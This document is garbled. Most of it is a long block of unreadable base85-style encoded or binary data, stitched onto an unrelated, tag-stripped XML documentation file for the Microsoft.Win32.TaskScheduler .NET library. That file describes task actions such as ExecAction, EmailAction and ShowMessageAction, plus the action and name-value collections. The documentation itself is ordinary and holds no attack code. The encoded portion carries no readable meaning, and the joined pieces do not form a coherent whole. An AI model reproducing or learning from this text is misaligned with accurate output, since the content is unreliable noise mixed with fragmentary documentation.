zGdwy|&}=7{*L$kTHG7+3=f&B)UUuD$;!0%z5Sd-G1=`XiovpYPnL(YMaqpTUZJkIy zG9hpd!I!9VvgW!M#2ab^D4X*fX*?X}pi*f6N_GiWtkR~SJ&JnF#-W&@c3*L7J|uss<|)Uy z-Eo}OCII)B?@R=dF^-3SkDRsSO~3aCH{NjByYJibnLD3a|Mp1s$dUA(JFkED*2u

Vtx+s6;Un818unokT31HC>05_-EE5NQnm;zb>J$jZwPGtISik{r+ z<6d5kJs06)R>sRpo@VnCnqTI3vOL-JtyNpFUZ@%I>@>4GaaM10UGC%$T7MdA>K;Fi zR3)Ahw$D8Ja39mXzK5#{)nFF4ERC4dQ$2}dVJXYJIh%u4?%h1$$L+Je***t+5I|C;-B`)A4P8N6lInQEE8BRutK0iV5LBpK)1ju zfz<*h37jl&ia?LRsRE}7oG#ESutwkvfineOCvcX)>j7_F_|dWnNUZ*eSbFqIUX0eq zP|mb+`R(Igjd~#qtna>u$^YSqn+j(1a1_# zN#L-++XUV&FeNZ8P!*^N%m~a1yhGrf0=EjhTi`bYZWFju;7Nfm2z*iCF9ezF% z1K1!C5C{r{1i}IlfqsDjfv7-CATF>`;6Dg#61YI%LV-65Y!*lgqy*9e8G%88EdpBw zwh8>2z(oQV3%pn0Hi6$1c%Q)S0(S`9DR7s-`vvY6_-%oE1Rh0jG(RTr=K`M;cwFF9 z0-qN6jKC8DpB4C=z~=>?6!?O`7X|)8;3O!Wn=3cMreP`&pZI zJ5A>~%`bb-WbSyno#tB{fa7!uV1K4{fhGYD1ZMoUzE-cHZ}PCia!@LpSm!&PCR{K# zJ56tQnx<&aLkg`nIo_t1S2ls2vkFW+0{C+wn+2K$S_JS5Ly!x21=?3NPc<(USSGMs zV1+=3z)FEmfi8h=fmH&l1x^w;SpYO>*U*6Vpc$e7e1Mmom7*B{%$?@vEPc4;i6s(V zRzBz@K=&MHN?@~qPoT5;$P#7QEHGs<`v`Flm=d6C>%~|<6}SpC%KryEj#2iT{sTknkZ*{Rz-L%XJC|8)or7P1F^1-P`R-iav)35W&iAw~IS z)E<;!NE>MUfAD1zxK%l>H@Z5b^sALy$GeVW~6xUSfUY9oVa59U9$c;8P4=CngfwcmEC-5DC=S4MpI>GIXI#b)! zg72Y4W3w9HDj;;Hex~G$0o6wU(~86L4S0wwwGSy&aGPyXp>blW_cyh+>SjcsAW%_s zPPv6mja*$-jYtiGa%wCvBY-OeR=%# zIHsTa7`Hg>wRX)c7w8mNEzl#-E8r6VldhS7z&e4nfI2?2TVSt1PC&TNTyI<%t)rjr zZ!$JcId-{$UTgIv1{;>yDp}7WG8?X*dB0l&_JT$Z<5NNfuICEnboPI<8hFt4on&9l zv6ZcmeYR;$`}P$Y#m2_H-g%DwA&3_+{WIm5^F9zBcK&^e(#k)rW6jvl1mvc#=bS6)Lo4T zJlQA|QwDP~p(wj|CPys~n9aeG>{1ofXw9w_KI~)_u^x^yduiP?3uusM3#w1z#n890 z>r_&uj<+d4<=(NiR>SOS)y>)K1;)|yS7ASMRxJ@|7SQt&t6Bxx1iUTmad8>OJhWg^n9S;aeKkyDut zGGn~Ln2J|{PSQGYla`ehUu6YNCYfb>IkjO|Am3zeY+;3LG$EzbqYbhcF={su3e=I0Q#pU_fu8jpZu390g9{Cf#T#ddRW9(+lyMdWb?Z>cQFE3-Nlo zoOW}idK#EXcl2QAHB(DBD{Q!H<|^I60!tvVf?jbJV^5v(sOjth-FDjCi&Wx&`x>HJ za6{jJJlU0U+!*;CyICyAKIGa^{*s*e^2jjLv zO9$Lh)${9ZUAm}c;X`f08)zI&MUJ+B*q`~pk>E7d$TCPY9k34L^4bzdGXptHGR~Zs z?3(caP%YjSCO47?K{%aT;ah@Oso!B*Y=qn8V0PqODbkqd$lt(6 z)ldQFPnux#-t_Ti`bb{8G!c|{rz~>Im0Vx3R@gqxH4TPdRfl$FsLj=k1Q6OwbT9xP zGMw-sI8F_6-_9naN0X2?!Pk)EKI;-;!?sF}1L!rrdV4$8U@LKL=d5=elK+g`hO3>a z|G|#4eVlV~Xw49?lF7Jfp59uNdEHzt2&MJ*6*8Uz8#ubtMhtQC=t*o93D&E|Pf@WQFrIOOd`VL2@ufb__hKfuFD4;kb95Sp~P?O|5Pzt8@cOB{^d)uxH_!Wx~(az#(~YHq8_ z>X6Gk&vK|JZwP~9li{A)gNl7u1ZzQ3INySnd&&qT}ISj);T+ z`E>I0Q%x1N28B=89{Uv+gSw9Qb@#~wu4>0P@|eiyU7oi?I2q;_#&6JC$nDj(HN^%iqey~U(I zXW;jU;uu0HKriTV=Kf#@^AYMlC?_FNfS3+eLj{O(eHZpN_-Z|+yQg2M<4I5vwROEl z-pcK*p0#?1WjwrP@Ta*$C{*ttGep(}j_}$G4oj|3Jz|sZ<}5|b<%89X0CD$Fs$#}Y z1z$TAnY|U5xS^%<^2(u=hVE@7DuUDFwKo0%gU#Ay9IMiXS;)GX+Z}7_j&LS!HD`rH zEsVq<#Uj?ohyNRuXr{VPlu8#?E8W#~#y73{uqDV^c-;)c5i>2gGpIlXI;-j5q^BpS zh?J%7>dJ;~snD|3TUly%eTEcvB3KW(>hr3W)2M(|C5&GIw?B5HU#t%cu1g}f)YkZ&y4D%cq_C4V%xv7(wBq$bAdc5LMQ-x6BIqfc*|MCx}ax zCXgU(P)O8OvnH2|U?Mw10;6izTO!Nmy1oB)H+HPvN4V(WL6RAy?_z<7AO5Os-?4Rm};q z1qGTRsXf$Hn;|1P3%X$OFwB3yiL)MWRii=UOooe^nG!jhs0-9bg@Ff%=W;XtW%7_*t{uVD+YFI&ukEVi1oa6ndGAD zFveB}3R@A_!K%=S*4Jro#f0dbm~G@wCcYd|C0xvn+vkG0so0c?!~}~&LHazLjy?}d zpdEW%XMHpt#4T&hgpYh&*mA9%72ql z{)u0~PSa3fwzqrs;#SsO{G7}hJN;qBkZ!4D(#Yb>lsq=#8$GzpmA2rpV@YjxVqOQS}1NO&P)iaUDTG_ zsO8F4eb&^s$yU2r?{0`2v7YoAbLE~z$4gH;_4p9Z z|ElRBo{r(BjVaY;5P!&C9&KAdpEfq>ADF?%FeE$6R{`sbjLj zSdY4a>Me~j<66UO&$2s4cd`M(bqsk*ftsGJS3zJz^Qra-{f5JX9dbL-qbSBf&AXIa z>#N2Jj33t2$M|nLIrTA^9D9v)D#XjoT1>#2_U-s}tz(Pbj^soTVF{K{ks)chmIo7% zPctEzc9>&sNU9i?VFS}$zGnG{>5<#LUB(h4VL*(OEe2XY$#V8OGZh8Q(@a!ro@<(s z$fW4S@Q`7A)Rvpoah_+e%$F7yM)fAxqpQbCQ?^n>VYD31ogX)AbS zT7!cPC8{5`mx$u3PuiO&muY%mjgxUL>uv zH8+?@84{L6tNZ2547$3TXPv09e)D17tc1;KSKBRz?imFH9#N*pa&gxN$+m*hAp9`m zwpkU^3(aT>AJKw@maY)Zi_|a*zqffE&VT|QfhK_^0?h&~0<8jV0^TL-oL>Gq_)|_q z>^fN_0V70tTL@s36nse#u_(BU449_Kk7-H~c>}L+UB`gsI_w2R@T>N&11r|K4(@PS z1$3CaA782jqjuhBB3cA__HG?JY*qOUpf=S&Hq}6O(+cl3@i&?9<0kxb6K*!pV9YL3 zH9Toz925QuICZfTR1|6&ko}!9Ju1kKPBG6J_&tOE3nnX@Ds_oXmAP~X>H5Bj66~9R zJkz5(eCn!kJFf?p&Sh8c*g4fx?Cn}QyVN8+EQp0bb=vMczr>3($nkpxCh^7 z$WLvk>EtWR+3`zD#mx1?`SA+p)k7oY(!mK2`8X2ihbKx;-=&$MRH>X#jE}FcA8TL7 zxi%GatR5_9$MOeD?5m9AeZjtfFI&v{LR_!2XYLce(th7icH$b}&f$@KZn9vqPm*c0 z=*t!gzDq`j%cY6Z{)(?eRoMzn_$JK3|AcS6G*R(gIaAa< zQj^1_93|HKvIh>7^9QmOH+qZ%{?T!8ZJ;5%Xiqf>-9l+NTNu58_DV(H#N_yRsa)yf z6?%+Gs4p1mqYI967SF6U@aqGSaHvmxX>`SLa28r|c^*VZE2Z+GUFE_#BbCbd#KsL9 z4vbbtCinFXm&P{avLiITp+eD#Iu#sesmE!_7yY|-@)9+Vv()WpR1Kf)aq3PCnd0Qw zuF7cP{7qZ(6?61|VQ$Z!_+DO3w%p^eV8T24xi^+mTEtO&@P_ew__!VD6N}`o$QCB^ zsZybk9~M2%-((#f{Buzg{w?`pzC1eY-zJ0@sC|X}@v`AcVQSrx9WB@M?ZiQ&cwqN> zw|0Ab;e}LPaVv#}>Rmr?TEm?xaeUMljKt1jc6?%_R5^cBs+@-nR80s<;*gd6rK-6+ zKLIwj9?*GB>Ipl}I*;@ET@!i3yXkBt3z1;i@v@k|a)?QR%S$!~C+_h$Zyp*Mo$!t2 zDITV+Hyen*B# z&}hixTuN(Zgb)?^%BT@KjWN%SmYH`Fr$`K>Y%zb(@Ih81i}ai;vm;xnYpJ%RH#ZSoIm_8!=?r=B@~Q{cj!+kqIG1~zOBStgS_s$G7cLPpU;g`<-_hC{USD6(KK+Njt9GpSu@<=* zi6BGZT!t6d(hC<=sWr7xCHhXx< z^1`K?g>iljvA*k%T}RMVfWz#@qbdl`uONss-m&Nu91sHAJ{h!z)wkPno{I(T%4wp+_#>!IJuC;WiX+=V6!X>T-A@$4ZX#_SatMV#v?7T0_ zy;=1xHdT zQ}r0p&cr;YtAjdvzE-(kHzGbeTuBs*rHWCu)}3>~g+A1w$~os=U0?1@$zDS*Rcfjr z@VE(pk_6l_P&&ox%`3MRhYORr{I;U>vazg(rE@7lYbz=r>Shy~al6!S+;Wo-bVgq59D9_2HHV=8$P>^v)kjeC5$#X@!B^N@i@EA zJAuSUZW(n5Id7LdJoxgqiM7|BFsnVzN;Ih}f_5ehvThkoaw&^gad>n*TX^k9!;@!KygYw^B}v=2QgK^x zf9W;vn&)bEW@u5`AN~sZ(9Je3b6vhzxja8yD(CV!UVM$NWVKz#IoIQ?jfLasXmlXt z?+=E8{zxDY_s2uwh(9tINC)HLIM;~HnMq_)(L`*}ABrXd{zy8V^2Y|E{r+Gi8X8Ch zf{Ab};W#{r(l@uaHVScFk6*OrO;}Bg1&k+EcKJ`theK8)6(>q`I!+G0NU_r>=CWls z@iiYI?O2x1>8h`J{T|F8vE%oBu60*aX8A$&LY;LS@sHc}*Pee2gCrA~{zyC?^+#e! z7$lX<_~Y?`et&u(nF$SqGs#TCWspE977Ap7aep)!kNG2+bjY6!Wn%upbSjm~3=R$i z<4Ma(p+r0t?oTKD>2N<42L~hmWHJ@RKod=*g2~`uIOXOXNQVZ~q5hCR+Mnu&DF+7p z@jx=+4<(}MSSl3`gyVy@&R}RD)t^eoXfsCZ!F0brmQD`(Gm&^O5*bLONp*7u1_wf^ zfrvkv2@d!p;b6p{2&6*(Kq@>C3lGNQ=?GhFO^$S=KN$!PME!I)Oph{y{vij_2b1JXGb`iKaNHjp9PCeJqRC)p5RG0r zqoH&noe4wgM24xG3}^hw1VrsmGoKTKflxB&_B|R+V*~@ccwjI=>xqOv*&oXIQ|W|8 zncfXBiB)Gjnu_#i27~^AB&M@SBAD>UQ-O>>m`M&M6T$vKAmP>-AB?6miCDzXaM1Tq z1j+}J19UJG9~_7b3{V9JunTaR*6RAid>h>*?iVbE`;e_jXlCexY84HUF zU1;U?^?l3aC_-MC4TcW0DcpyFqA25v~ zsX@3b&2*23GXuf?NI#N*p0(QbQEY%{fn$Pce~5`sff%cHl!+pFjHJs1nFwwtQZP1x z%0H0FFl57lem~P30h*4cqltJ7K8U+WB+~J8AdPfOMF(N^WRf8xXF7;fjipnG{t%y{ zQ0s{Scz-YvlK_Q7~o ziGf%WF&uDND@iXS(M-Tk3KS1TSrP_Aapq8}KbZ_;YY4ck6^O?p!59pMbYfVN{Yif; zPC+Jplu-}Dc&-4AG3ojPF(gqk1ZyErpi+$WDV`2S(u1seQMdJe_+>D~`W6cf(syxp zEXo8+pg$%0qp5g0Q96cNq;byLMS8M5sQh0WPgCF_)xsZ88`t`1nW$Z zk_IIm*c>=m3cIan zjIH)~sfg};Nhy~v^kH9P<1N$J_I+=~u-VYT8qY#5DxgN^WxC?u`miS7YB48foUdpf zrWuYgVVU$`rSRme-I#T(XxLpOvYJM79KNq@kzHBQ80r|4AQJ!G$DfAnsEsk@O#~F8Vx-?(uy96tR0c-+GdXTm; z5cSkw;tAQ|;po0#c>n(4Tqu{z^#@xo#ZI5)%>huDAE!}m4D%SAU>AjCDaUCe&%>X< zn7*TQFkjv|k}njj^cv68KDU!Hw(o@L8vT0h9{lwN0vm&Y zjRBZnM}z4}yT$$YYd%QZrul!r{<;lL-RyDR;!;@3(yxHJYqbRFhp0aaC`v!hG4Dg# ze83ztH4aT)&2bo(kOc=#>wUz$@}UnMTvWiEOugEJqFp+F8R}S;DdZ(RG$)N2Z=nns z+R-d|x9<2WnaqEd|A&vRb-oGjn3Zohe&zElfVK@zXcl8W&whH$Ci;%w#GLijw(#pm zw=icxJ!S*v9=`!&dbM@4v0se+vSg`LsT)BSh;WzuC#Zd1aSSMnYhP?hIVS!mPz@Ft zV~*8_Z5Xfr4Skqb9K+1wJ}kGUO4m+wEE1i-zB<4Bv9Om+{x@JhulU(o#)pnxtcNh5CtD`NaO-J1g08WqUEriHr1sf2XA^7^<(GqjU8B73vBeHYuAu&cFVQp?%wdBCaNv z<`1&g@lv3vcen$T9?g<6Q5hYckf~VC1$7~tF=cZ`g`gig2kttSngPO48bKa#x; z{m~xoZ7b$RhmE(@!4dpZaO$$oSnf{1hu=!Rs6BvOS)@p`GS+L*+c@5>Gkm)I=$awSd>i)vz@Nx{o!Bwwtz$KHbW`aFDFyk5{? zc--vTl{T`EGu|okO>uQFJHq=_!tP?Dq1UxA^u^fNpYXTt;aVdD5jZ zh||#c5FNg;>>(cq$s$*_?tsB~`}R-jbw0FRz+;15t>Y9t&Vhebqte%Y*~U(6ubRgr z=euIJvE_9f&NDZ-ekFB!iw_H<`^wp}=#s_nailbfD}&1@^l+*+C)Iw1tH|kbe*R#{ z9}W(M!W;YJ{O?m7Kf5VHG8yMJ#~Hw*(d(-F<%H8`8L!WhCXt;fR*u+-A|f7LvOooeS1u%ZbDr_6jU^1j8X>Tr+DC^+e8btI zZxY|j(Hm$FW5{r}oSRs0Ci(o9g}>EB9fvo~tK? zZ-4#p^H*Q-!jX$k`QlGbJ$TuRZ+q_g)<3;EzTzjpaZkr@_55w;os(y;zV;^{IQet; zfAiGXTh2Kx&fiA*LyNy3N2Ce0tliwoz))qX>NdFx7e+GSrNb^vJx2QPp z=l%lX|B$$^3_xF*T{bn`FI4=`77%9Ph1}${fk_;DnDVp_@a$`p8$_*sV_m= zOWgCq5S^+z-yrTC)bSJIKSN%;rk(%7-)iDsppCl;uLHO5^7o|`gcH2aQZE(Nt48Zz zm$okq-RjsEhU%rFXd3*^I#%WkA0*e;>g}h#SCQ=v$I7Np+UxbB8QzPjkF*z@wPZc- z*je?d@PoWt)PCeV>l`4&ftBMs7H0FS*g~e&X+9Z!rIRo(DNWOuJ~Mtf2`A6BJ-^J= zHc7}?B=y!(`!VzVBn@Qfy}rR-cJ@FaeZ2jEL8we$R47UI{U$w61$x`3UhFz5OzO0m z-`rrxE~DPO`O7(arD*TbSuQ7o z-r9S}VGHW`j+J2&N)>6a$QWYSJyxb&BwoXxdR~-owwjth?g^p~@kR3qnkze(lA&i| zh9qT6&_C#0b#&>dt%SeV@=a0eMgtViG``}`P7iO^{E9kt3j7+Ebb&01B&~dTM{BaFBdhIOJX>sOp z3TW`_4DcPYtv_+Lx$#`Vx)EDgKtgE3&|i{9Qn<)n$q>li>225&GHWP&;j1rf=l-y% zuwKPRsu(z46(Y%);n=*3OTFluD7xv@7Clzm2dN-*yb2alLVPfcu(<0)C@(A~2~%*3 ze*8o&*5%B?D*lRMi#T?OK_7!OL8E0XV#)g2UKdUOLit6^Q_nJAK=BQc#R8_DZB9&` z^2(X!=Jy$7dIg;7Q|lAyY^cS0a@^CAqIVeh+_MHxH(4NA<*+OVF2zn+6ej{g$qCQ$ z(W1e7w306z@|>jSLbJY{d&Vp4gD`GWv;wEPZ8Qj*HBD_f+~-;4VnLgj^{j2cvuZno zYa;wU4jwj|N>*UAHQp8Wwqw07qb%Ff_WqvaEk=ADrJ{S>uQfAycfee%k`AO7%%AN=44-~RTu zfBDN_UYzUMXJ01r$dN|;H^2GKGtWG8!-fr|QfcMNm3#K=X(YY;%rh_h{kRRi{El}t zBDZhf-pKQ#AN`0TZYw|f(a)n%W#)fp=imI+Z+-HUpZwOhzGXAqfB*fbpME+h(F%~- zp1OxsC~NVjp4F>YGlF;Cc_*IwFihhI&2PEomhSHEbI(23W^NRD=R4oIW5BH3-~GW4)8Ak7 zi+}!n;L6=?fBWD5bpP}JkbLhGy+8cgzQdo`{nz8)eRkQwD~hu_*Pr*ttq=d+CF?)^ zJHOcUhObQQ`LnT+i%$RawU55-zaM(w-tOD~Ik@d@7c}2p{N7#nZLeJy|E&$1-u&_6 z4?lVN(i<-;oO8pPUz~Pjdg$k0yK%#{e|UO!<*KiL`<#ESeMvYRsDAvjj^~mcnw+=u z=k0HCyr-ZGxj(kqybs24&f)JK((aj;rYsuF`M=9|rgskS`_o(Aa?iK7%zWX4*Szf$ zAE~L1)W+R9A)452Ua7Dkd#U9Kbr^?t%9dvES(MNgoO&)!cM_=Um|G)p6DZqnupvU?*wGc}^ z_li6|M!fQE~i(>wXf*LJ@5wTJ7a?5MV@sPkC!kN%fj zW|te+*`~(zjV6^3#c-Xs0Grq}&_k^?s?{)=F}g$B+M&kK~5Nl0HDv!=TV;$;jjF$45vGMSQm zwCm$)>lc=ak%>vB9a(}85p&SsIga^QhE|_zX7`z0qe=w%99O`Ul#$WLXSeLVY=PQ% zS_`OJ)5p7fnD4Ej+DGr~hrV*mOtoIG-I^vFw6sePQk~(<2%GtnJ@tEUXKuVGnld{j1|-4>5dTA)}W1K8lQ*;}79ENv-OY zcJ4YaP4ec8`grRQLx%B7xoYh7+d>@`X2B$5>TB?YsH}KNLC&;zpS-8RtvW=|XV}Dh zy<-Qt{}ftH69mvhddjAoB$tPlQ) zCUd>}I4ZS?Ikm&gVP;HSGuILYyBe6moc2 zhZ= + + + Microsoft.Win32.TaskScheduler + + + +

Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name + of a document is provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + Abstract base class that provides the common properties that are inherited by all action objects. An action object is created by the + method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + Occurs when a property value changes. + + + Gets the type of the action. + The type of the action. + + + Gets or sets the identifier of the action. + + + Creates the specified action. + Type of the action to instantiate. + of specified type. + + + Creates a new object that is a copy of the current instance. + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Returns the action Id. + String representation of action. + + + Returns a that represents this action. + The culture. + String representation of action. + + + Creates a specialized class from a defined interface. + Version 1.0 interface. + Specialized action class + + + Creates a specialized class from a defined interface. + Version 2.0 Action interface. + Specialized action class + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. Only available for Task Scheduler 2.0 on + Windows Vista or Windows Server 2003 and later. + + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler + interface. There is a sample project that shows how to do this in the Downloads section. + + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Identifier of the handler class. + Addition data associated with the handler. + + + Gets or sets the identifier of the handler class. + + + Gets the name of the object referred to by . + + + Gets or sets additional data that is associated with the handler. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Gets the name for CLSID. + The unique identifier. + + + + + Represents an action that sends an e-mail. Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and + later.This action has been deprecated in Windows 8 and later. However, this library is able to mimic its + functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + + + + Creates an unbound instance of . + + + Creates an unbound instance of . + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value + containing a path to file. + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + Gets or sets the header information in the e-mail message to send. + + + Gets or sets the priority of the e-mail message. + A that contains the priority of this message. + + + Gets or sets the e-mail address that you want to reply to. + + + Gets or sets the name of the server that you use to send e-mail from. + + + Gets or sets the subject of the e-mail. + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + + + + + Creates a new instance of an that can be added to . + + + Creates a new instance of an that can be added to . + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + Gets or sets the path to an executable file. + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is + set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + + Represents an action that shows a message box when a task is activated. Only available for Task Scheduler 2.0 on Windows Vista + or Windows Server 2003 and later.This action has been deprecated in Windows 8 and later. However, this + library is able to mimic its functionality using PowerShell if the property is + set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + + + + Creates a new unbound instance of . + + + Creates a new unbound instance of . + Message text that is displayed in the body of the message box. + Title of the message box. + + + Gets or sets the message text that is displayed in the body of the message box. + + + Gets or sets the title of the message box. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + 